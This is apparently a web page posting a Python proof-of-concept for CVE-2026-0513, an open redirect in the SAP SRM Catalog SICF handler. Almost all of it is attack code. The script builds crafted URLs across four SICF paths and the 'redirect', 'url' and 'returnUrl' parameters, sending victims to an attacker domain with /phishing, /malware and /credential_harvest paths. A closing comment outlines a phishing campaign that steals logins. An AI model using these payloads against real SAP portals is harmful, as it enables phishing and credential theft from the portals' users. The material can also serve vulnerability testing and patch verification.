CVE-2026-0513 SAP SRM Catalog SICF Handler开放重定向漏洞

# CVE-2026-0513 Open Redirect PoC # Target: SAP Supplier Relationship Management (SRM Catalog) # Vulnerability: Open Redirect in SICF Handler import urllib.parse def generate_open_redirect_poc(base_url, target_domain): """ Generate malicious URL for open redirect attack Args: base_url: Original SAP SRM application URL target_domain: Attacker's controlled domain Returns: Malicious redirect URL """ # Common SICF Handler paths in SAP SRM sicf_paths = [ "/sap/bc/ui5_ui5/srm/catalog", "/sap/bc/ui2/srm/catalog", "/sap/opu/odata/sap/SRM_CATALOG", "/sap/bc/srt/scs/sap/SRM_CATALOG" ] malicious_urls = [] for path in sicf_paths: # Open redirect via 'redirect' parameter redirect_param = urllib.parse.quote(f"https://{target_domain}/phishing") malicious_url = f"{base_url}{path}?redirect={redirect_param}" malicious_urls.append(malicious_url) # Open redirect via 'url' parameter url_param = urllib.parse.quote(f"https://{target_domain}/malware") malicious_url2 = f"{base_url}{path}?url={url_param}" malicious_urls.append(malicious_url2) # Open redirect via 'returnUrl' parameter return_param = urllib.parse.quote(f"https://{target_domain}/credential_harvest") malicious_url3 = f"{base_url}{path}?returnUrl={return_param}" malicious_urls.append(malicious_url3) return malicious_urls # Example usage base_url = "https://sap-company.com" target_domain = "attacker-controlled-site.com" pocs = generate_open_redirect_poc(base_url, target_domain) print("CVE-2026-0513 Open Redirect Attack URLs:") for i, poc in enumerate(pocs, 1): print(f"{i}. {poc}") # Simple attack scenario: # 1. Attacker sends email with malicious link to victim # 2. Victim clicks link thinking it's legitimate SAP portal # 3. Browser redirects to attacker's phishing site # 4. Victim enters credentials on fake login page # 5. Attacker steals credentials